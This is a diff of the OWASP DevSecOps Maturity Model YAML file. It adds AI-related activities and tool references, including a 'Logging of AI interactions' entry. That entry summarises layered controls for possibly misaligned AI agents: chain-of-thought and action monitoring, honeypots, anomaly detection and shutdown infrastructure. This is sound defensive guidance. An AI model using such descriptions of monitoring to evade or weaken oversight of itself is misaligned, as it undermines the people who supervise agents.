https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Conduction%20of%20simple%20threat%20modeling%20on%20technical%20level - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1428,8 +6101,6 @@ Culture and Organization: - 5.4 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Information%20security%20targets%20are%20communicated - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1462,13 +6133,22 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Conduction%20of%20simple%20threat%20modeling%20on%20business%20level - isImplemented: false - evidence: "" comments: "" tags: - none Creation of simple abuse stories: uuid: bacf85b6-5bc0-405d-b5ba-a5d971467cc1 + description: |- + Abuse stories are the attacker's counterpart to user stories: for a + given user story they describe how the same functionality can be + misused. Large language models are well suited as a complementary + tool for this activity: given a user story and its acceptance + criteria, they generate candidate abuse stories. This covers a step + teams often skip, because systematically asking how functionality + can be misused requires experience most development teams do not + have. Generated abuse stories are drafts: the team + reviews them, discards irrelevant ones and derives security + acceptance criteria from the relevant ones. risk: User stories mostly don't consider security implications. Security flaws are discovered too late in the development and deployment process. measure: Abuse stories are created during the creation of user stories. @@ -1507,8 +6187,6 @@ Culture and Organization: - 5.9 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Creation%20of%20simple%20abuse%20stories - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1541,6 +6219,20 @@ Culture and Organization: - owasp - defender url: https://owaspsamm.org/model/design/threat-assessment/stream-b/ + - uuid: b0b620e4-19c1-4f29-9249-470533cdcaaa + name: OWASP ThreatAtlas + tags: + - owasp + - defender + - threat-modeling + - collaboration + url: https://github.com/OWASP/www-project-threatatlas + description: |- + Self-hosted web application for collaborative threat modeling sessions: + interactive data flow diagrams with trust boundaries, threat catalogs + (e.g. STRIDE, LINDDUN), likelihood/impact scoring, real-time + collaboration with approvals workflow, diagram versioning with change + history and integration into issue trackers and CI/CD security gates. dependsOn: - 47419324-e263-415b-815d-e7161b6b905e # Conduction of simple threat modeling on technical level references: @@ -1559,8 +6251,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Creation%20of%20threat%20modeling%20processes%20and%20standards - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1591,6 +6281,8 @@ Culture and Organization: * Input is escaped output is encoded appropriately using well established libraries. Source: OWASP Project Integration Project + # AI support + At this maturity level, AI can lift threat modeling from periodic workshops to a continuous activity: AI threat modeling tools generate architecture-aware threat model drafts from feature tickets and design documents before implementation starts, re-run the analysis when new tickets arrive and compare the threat model against the implemented code to surface drift between design intent and implementation (e.g. Apiiro AI Threat Modeling, commercial). The generated models require expert review, see the note on failure modes in _Conduction of simple threat modeling on technical level_. implementation: - uuid: c0533602-11b7-4838-93cc-a40556398163 name: Whiteboard @@ -1635,6 +6327,20 @@ Culture and Organization: tags: - threat-modeling url: https://github.com/Threagile/threagile + - uuid: b0b620e4-19c1-4f29-9249-470533cdcaaa + name: OWASP ThreatAtlas + tags: + - owasp + - defender + - threat-modeling + - collaboration + url: https://github.com/OWASP/www-project-threatatlas + description: |- + Self-hosted web application for collaborative threat modeling sessions: + interactive data flow diagrams with trust boundaries, threat catalogs + (e.g. STRIDE, LINDDUN), likelihood/impact scoring, real-time + collaboration with approvals workflow, diagram versioning with change + history and integration into issue trackers and CI/CD security gates. - uuid: 1c56dbea-e067-44e2-8d3b-0a1205a70617 name: Threat Matrix for Storage url: https://www.microsoft.com/en-US/security/blog/2021/04/08/threat-matrix-for-storage/ @@ -1643,6 +6349,31 @@ Culture and Organization: - storage - cluster - kubernetes + - uuid: bb842e92-ab33-4cd9-8b4e-a24faa23eda2 + name: Apiiro AI Threat Modeling + tags: + - ai + - threat + - commercial + url: https://apiiro.com/blog/introducing-apiiro-ai-threat-modeling/ + description: |- + Commercial capability that generates architecture-aware threat models + from feature tickets and design documents before code exists, re-runs + the analysis autonomously when new tickets arrive (e.g. in Jira or + GitHub) and compares the threat model against the implemented code to + surface drift between design intent and implementation. + - uuid: 38b95d1b-558d-4a04-9b68-34f9d57c4aae + name: Threat Designer + tags: + - ai + - threat + - tool + url: https://github.com/awslabs/threat-designer + description: |- + Open-source (Apache 2.0), AI-driven threat modeling application by AWS + Labs: agents analyze uploaded architecture diagrams, derive STRIDE-based + threat lists and attack trees, and support iterative refinement and + export of the resulting threat model. references: samm2: - D-TA-B-2 @@ -1658,8 +6389,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Conduction%20of%20advanced%20threat%20modeling - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1704,8 +6433,6 @@ Culture and Organization: - 5.9 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Design/subsection/Creation%20of%20advanced%20abuse%20stories - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1793,8 +6520,6 @@ Culture and Organization: - 5.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security%20consulting%20on%20request - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1836,8 +6561,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Each%20team%20has%20a%20security%20champion - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1883,8 +6606,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Regular%20security%20training%20for%20all - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1922,8 +6643,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Regular%20security%20training%20of%20security%20champions - isImplemented: false - evidence: "" comments: "" tags: - none @@ -1966,8 +6685,6 @@ Culture and Organization: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Reward%20of%20good%20communication - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2013,8 +6730,6 @@ Culture and Organization: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security%20code%20review - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2046,8 +6761,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20build-it%2C%20break-it%2C%20fix-it%20contests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2107,8 +6820,6 @@ Culture and Organization: - 6.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security%20Coaching - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2135,8 +6846,6 @@ Culture and Organization: - 5.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Security-Lessoned-Learned - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2189,8 +6898,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Simple%20mob%20hacking - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2222,8 +6929,6 @@ Culture and Organization: - 6.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Aligning%20security%20in%20teams - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2251,8 +6956,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20collaborative%20team%20security%20checks - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2285,8 +6988,6 @@ Culture and Organization: - 5.26 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20war%20games - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2324,8 +7025,6 @@ Culture and Organization: - 6.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Regular%20security%20training%20for%20externals - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2361,8 +7060,6 @@ Culture and Organization: - 8.34 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Education%20and%20Guidance/subsection/Conduction%20of%20collaborative%20security%20checks%20with%20developers%20and%20system%20administrators - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2489,8 +7186,6 @@ Culture and Organization: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Process/subsection/Approval%20by%20reviewing%20any%20new%20version - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2517,8 +7212,6 @@ Culture and Organization: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Process/subsection/Definition%20of%20a%20change%20management%20process - isImplemented: false - evidence: "" comments: "" tags: - none @@ -2627,6 +7320,17 @@ Implementation: - documentation - cwe url: https://cwe.mitre.org/data/definitions/838.html + - uuid: beeac1bd-49dd-43c8-b606-cdb9fa9cf5bc + name: DOMPurify + tags: + - xss + - sanitizer + - library + url: https://github.com/cure53/DOMPurify + description: |- + Allow-list based HTML sanitizer for the browser. Used to sanitize + rendered markdown (e.g. LLM responses in chat UIs) before insertion + into the DOM. references: samm2: - D-SR-A-1 @@ -2860,7 +7564,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20Hardening/subsection/App.%20Hardening%20Level%202%20%2875%25%29 - isImplemented: false comments: "" dependsOn: - cf819225-30cb-4702-8e32-60225eedc33d # App. Hardening Level 1 @@ -2868,6 +7571,14 @@ Implementation: - none Secure headers: uuid: 29318d60-18ce-4526-80ea-f5928e49f639 + description: | + Essential headers: + - Content-Security-Policy: Define trusted sources for content + - Strict-Transport-Security: Enforce HTTPS connections + - X-Frame-Options: Prevent clickjacking attacks + - X-Content-Type-Options: Prevent MIME-type sniffing + - X-XSS-Protection: Enable browser's XSS filtering + - Referrer-Policy: Control information in the Referrer header risk: | Missing or misconfigured security headers can lead to various security vulnerabilities, e.g.: - Cross-Site Scripting (XSS) due to missing Content Security Policy @@ -2906,15 +7617,6 @@ Implementation: modern browsers \nfrom running into easily preventable vulnerabilities. The OWASP Secure Headers Project intends to raise awareness\nand use of these headers." - meta: - implementationGuide: | - Essential headers: - - Content-Security-Policy: Define trusted sources for content - - Strict-Transport-Security: Enforce HTTPS connections - - X-Frame-Options: Prevent clickjacking attacks - - X-Content-Type-Options: Prevent MIME-type sniffing - - X-XSS-Protection: Enable browser's XSS filtering - - Referrer-Policy: Control information in the Referrer header references: samm2: - O-EM-A-2 @@ -2964,7 +7666,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20Hardening/subsection/App.%20Hardening%20Level%202 - isImplemented: false comments: "" dependsOn: - 03643ca2-03c2-472b-8e19-956bf02fe9b7 # App. Hardening Level 2 (75%) @@ -3296,8 +7997,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Development%20and%20Source%20Control/subsection/Local%20development%20linting%20%26%20style%20checks%20performed - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3341,8 +8040,6 @@ Implementation: - Multi-factorAuthentication openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/MFA%20for%20admins - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3379,8 +8076,6 @@ Implementation: - 8.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Simple%20access%20control%20for%20systems - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3409,34 +8104,6 @@ Implementation: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20edge%20encryption%20at%20transit - isImplemented: false - evidence: "" - comments: "" - tags: - - none - Applications are running in virtualized environments: - uuid: 3a94d55e-fd82-4996-9eb3-20d23ff2a873 - risk: Through a vulnerability in one service on a server, the attacker gains - access to other services running on the same server. - measure: Applications are running in a dedicated and isolated virtualized environments. - difficultyOfImplementation: - knowledge: 3 - time: 3 - resources: 5 - usefulness: 3 - level: 2 - implementation: [] - references: - samm2: - - O-EM-A-1 - iso27001-2017: - - Virtual environments are not explicitly covered by ISO 27001 - too specific - - 13.1.3 - iso27001-2022: - - Virtual environments are not explicitly covered by ISO 27001 - too specific - - 8.22 - openCRE: - - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Applications%20are%20running%20in%20virtualized%20environments comments: "" tags: - none @@ -3472,8 +8139,6 @@ Implementation: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Backup - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3540,8 +8205,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Baseline%20Hardening%20of%20the%20environment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3583,8 +8246,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Isolated%20networks%20for%20virtual%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3629,8 +8290,6 @@ Implementation: - Multi-factorAuthentication openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/MFA - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3656,8 +8315,32 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20an%20security%20account - isImplemented: false - evidence: "" + comments: "" + tags: + - none + Usage of containers: + uuid: 3a94d55e-fd82-4996-9eb3-20d23ff2a873 + risk: Through a vulnerability in one service on a server, the attacker gains + access to other services running on the same server. + measure: Applications are running in a dedicated and isolated virtualized environments. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 5 + usefulness: 3 + level: 2 + implementation: [] + references: + samm2: + - O-EM-A-1 + iso27001-2017: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 13.1.3 + iso27001-2022: + - Virtual environments are not explicitly covered by ISO 27001 - too specific + - 8.22 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20containers comments: "" tags: - none @@ -3683,8 +8366,6 @@ Implementation: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20encryption%20at%20rest - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3715,8 +8396,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20test%20and%20production%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3733,7 +8412,7 @@ Implementation: usefulness: 3 level: 2 dependsOn: - - 3a94d55e-fd82-4996-9eb3-20d23ff2a873 # Applications are running in virtualized environments + - 3a94d55e-fd82-4996-9eb3-20d23ff2a873 # Usage of containers implementation: [] references: samm2: @@ -3750,8 +8429,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Virtual%20environments%20are%20limited - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3787,8 +8464,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Filter%20outgoing%20traffic - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3819,8 +8494,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Immutable%20infrastructure - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3871,8 +8544,6 @@ Implementation: - 8.32 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Infrastructure%20as%20Code - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3915,8 +8586,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Limitation%20of%20system%20events - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3950,8 +8619,6 @@ Implementation: - 8.3 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Role%20based%20authentication%20and%20authorization - isImplemented: false - evidence: "" comments: "" tags: - none @@ -3978,8 +8645,6 @@ Implementation: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20internal%20encryption%20at%20transit - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4021,8 +8686,6 @@ Implementation: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20security%20by%20default%20for%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4138,8 +8801,6 @@ Implementation: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Hardening%20of%20the%20Environment - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4173,8 +8834,6 @@ Implementation: - 8.14 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Production%20near%20environments%20are%20used%20by%20developers - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4214,8 +8873,6 @@ Implementation: - 5.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Infrastructure%20Hardening/subsection/Usage%20of%20a%20chaos%20technology - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4296,7 +8953,7 @@ Implementation: usefulness: 4 level: 5 dependsOn: - - f0e01814-3b88-4bd0-a3a9-f91db001d20b-medium # WAF medium + - f0e01814-3b88-4bd0-a3a9-f91db001d20b # WAF baseline implementation: - uuid: 6150533e-58ca-4b52-a9b2-6226545d9ea0 name: Top 5 API Security Myths That Are Crushing Your Business @@ -4362,8 +9019,6 @@ Information Gathering: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Centralized%20system%20logging - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4454,8 +9109,6 @@ Information Gathering: risk: |- * No track of security-relevant events makes it harder to analyze an incident. * Security incident analysis takes significantly less time with proper security events, such that an attack can be stopped before the attacker reaches his goal. - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4485,6 +9138,141 @@ Information Gathering: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Analyze%20logs tags: - none + Logging of AI interactions: + uuid: 053ca80e-c2e7-4ec6-8a6d-2879187df357 + description: |- + AI agents and assistants act with delegated authority: their prompts, + tool and command invocations and outputs are security-relevant events. + Centralized logging of AI interactions provides the audit trail needed + to investigate incidents, detect misuse (e.g. prompt-injection-driven + actions, data exfiltration) and observe drift in agent behavior. + risk: |- + Actions performed by AI agents are not recorded or cannot be + distinguished from human actions. Misuse, data leaks and rogue agent + behavior go undetected and cannot be investigated after an incident. + measure: |- + Log AI interactions centrally: prompts, tool/command invocations, used + model versions and resulting actions, attributed to dedicated agent + identities. Feed the logs into the existing security monitoring and + alert on anomalies (e.g. unusual repositories, mass file access, + activity at odd hours). + dependsOn: + - fe875e17-ae4a-45f8-a359-244aa4fcbc04 # Centralized application logging + assessment: | + - Show where AI interactions (prompts, responses, tool calls) are logged and which fields are captured. + - Show that the logs are integrated into centralized logging with appropriate retention and access restrictions. + difficultyOfImplementation: + knowledge: 3 + time: 3 + resources: 2 + usefulness: 4 + level: 3 + tags: + - ai + - logging + implementation: + - uuid: f2966f4c-38b2-4dbf-95a4-6f0a8fc15ae3 + name: Google DeepMind AI Control Roadmap + tags: + - ai + - monitoring + - threat + - documentation + url: https://storage.googleapis.com/deepmind-media/DeepMind.com/Blog/securing-the-future-of-ai-agents/gdm-ai-control-roadmap.pdf + description: |- + Roadmap for controlling potentially misaligned AI agents. It treats + agents as untrusted principals and layers system-level defences: the + TRAIT&R threat taxonomy (based on MITRE ATT&CK), + action/chain-of-thought monitoring, pull-request monitoring, UEBA + anomaly detection, honeypots and tiered prevention/response up to + shutdown infrastructure. + - uuid: bbaf5f6a-0366-488b-a712-7f915e866135 + name: Agent Identity Governance Framework (AIGF) + tags: + - ai + - isolation + - permissions + - logging + - documentation + url: https://labs.cloudsecurityalliance.org/agentic/agentic-identity-governance-framework-v1/ + description: |- + Vendor-neutral framework (Richard Peddi, v2.1, CC BY 4.0) for identity, + access and content governance of autonomous AI agents along six axes: + identification (shadow agents), authentication, authorization, + audit/non-repudiation (structured audit log with mandatory fields for + the causal chain, correlation identifiers across multi-agent chains, + tamper evidence via hash chaining and write-once storage), + prompt injection prevention and data flow tracking. The framework is + mapped to EU AI Act, GDPR, ISO 42001/27001 and NIST AI RMF. + - uuid: 181e9b98-7d4f-4fff-9181-9f4c4408022e + name: Anthropic Agent Identity and Access Model + tags: + - ai + - isolation + - permissions + - documentation + url: https://claude.com/blog/agent-identity-access-model + description: |- + Reference architecture for agent identity: agents act under dedicated + workspace-level service accounts instead of user credentials, with scoped + per-channel permissions, credentials injected at the network boundary, + egress blocked to unapproved hosts and every agent action logged under + the agent identity in both platforms' audit logs. + - uuid: 415def4e-8562-45e3-a085-b7edd5eb4317 + name: 'AI Coding Agent CLI design: Background & Cloud Agents' + tags: + - ai + - isolation + - logging + - documentation + url: https://system-design-interviews.com/book/interview.html#ai-coding-cli/cloud + description: |- + System-design walkthrough of headless cloud agents: ephemeral sandboxes + with short-lived single-repo tokens, deny-by-default egress, PR review as + the human gate, anomaly detection and per-tenant retention with secret + redaction. + - uuid: 0d958256-b3ed-4a13-a3dc-d8b1f153c309 + name: 'OWASP AISVS C12: Monitoring, Logging and Anomaly Detection' + tags: + - ai + - documentation + - aisvs + url: https://github.com/OWASP/AISVS/blob/main/1.0/en/0x10-C12-Monitoring-and-Logging.md + description: |- + OWASP Artificial Intelligence Security Verification Standard, + category C12: Monitoring, Logging and Anomaly Detection. + - uuid: 928b9c82-bf24-466b-a254-d8b775f7e0c8 + name: Langfuse + tags: + - ai + - logging + - monitoring + url: https://github.com/langfuse/langfuse + description: |- + Open-source LLM observability platform: traces prompts, tool calls, model + versions and costs of AI applications and agents, providing the audit + trail needed for security monitoring of AI interactions. + - uuid: 47b4ba95-a6da-4493-94c2-829e9d47b612 + name: LiteLLM Proxy (AI Gateway) + tags: + - ai + - data-protection + - gateway + url: https://github.com/BerriAI/litellm + description: |- + Open-source LLM gateway that routes all model traffic through one proxy + with per-team API keys, audit logging and guardrail hooks (e.g. Presidio + PII masking, secret detection) applied to every request. + references: + samm2: + - O-IM-A-1 + iso27001-2017: + - 12.4.1 + iso27001-2022: + - 8.15 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Logging%20of%20AI%20interactions + comments: "" Visualized logging: uuid: 7c735089-6a83-419f-8b27-c1e676cedea1 risk: System and application protocols are not visualized properly which leads @@ -4518,8 +9306,6 @@ Information Gathering: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Visualized%20logging - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4550,8 +9336,6 @@ Information Gathering: - 8.15 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/Correlation%20of%20security%20events - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4602,8 +9386,6 @@ Information Gathering: - 5.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Logging/subsection/PII%20logging%20concept - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4682,8 +9464,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Simple%20budget%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4716,13 +9496,26 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Simple%20system%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none Alerting: uuid: 8a442d8e-0eb1-4793-a513-571aef982edd + description: | + # AI support + Two numbers decide whether an alert queue works: how long an anomaly + stays unnoticed before a person looks at it, and what share of the + incoming alerts gets investigated at all. AI can improve both (see + Anthropic's eBook _Zero Trust for AI Agents_): give a triage + assistant read-only access to the monitoring data and let it write a + structured first assessment for every alert, so analysts start with + the alerts that actually need human judgement. Introduce it + incrementally: choose a single rule that is known to generate mostly + false positives, let the model handle its alert stream for a trial + period while a human independently assesses the same alerts, compare + the two, and only then move on to the next rule. The assistant + prepares evidence, correlation and documentation; decisions about + containment and disclosure remain with humans. risk: Incidents are discovered after they happened. measure: | Thresholds for metrics are set. In case the thresholds are reached, alarms are send out. Which should get attention due to the critically. @@ -4734,7 +9527,22 @@ Information Gathering: level: 2 dependsOn: - ded39bcf-4eaa-4c5f-9c94-09acde0a4734 # Visualized metrics - implementation: [] + implementation: + - uuid: 7c0749f8-080d-46cf-a8bb-4c2f8a2c25f2 + name: Zero Trust for AI Agents + tags: + - ai + - documentation + url: https://claude.com/blog/zero-trust-for-ai-agents + description: |- + Free eBook by Anthropic applying Zero Trust principles (never trust, + always verify; assume breach; least privilege and least agency) to + agentic AI deployments: current threats to agentic systems, three + capability tiers for agent identity, access control, observability, + behavioral monitoring, input and output controls and recovery, an + eight-phase implementation workflow and defensive operations at the + speed of autonomous threats. Introduces the design test "does this + control make the attack impossible, or just tedious?". references: samm2: - O-IM-A-2 @@ -4749,8 +9557,6 @@ Information Gathering: - 8.31 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Alerting - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4780,8 +9586,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Monitoring%20of%20costs - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4808,8 +9612,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Visualized%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4837,8 +9639,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Advanced%20availability%20and%20stability%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4873,8 +9673,6 @@ Information Gathering: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Audit%20of%20system%20events - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4902,8 +9700,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Deactivation%20of%20unused%20metrics - 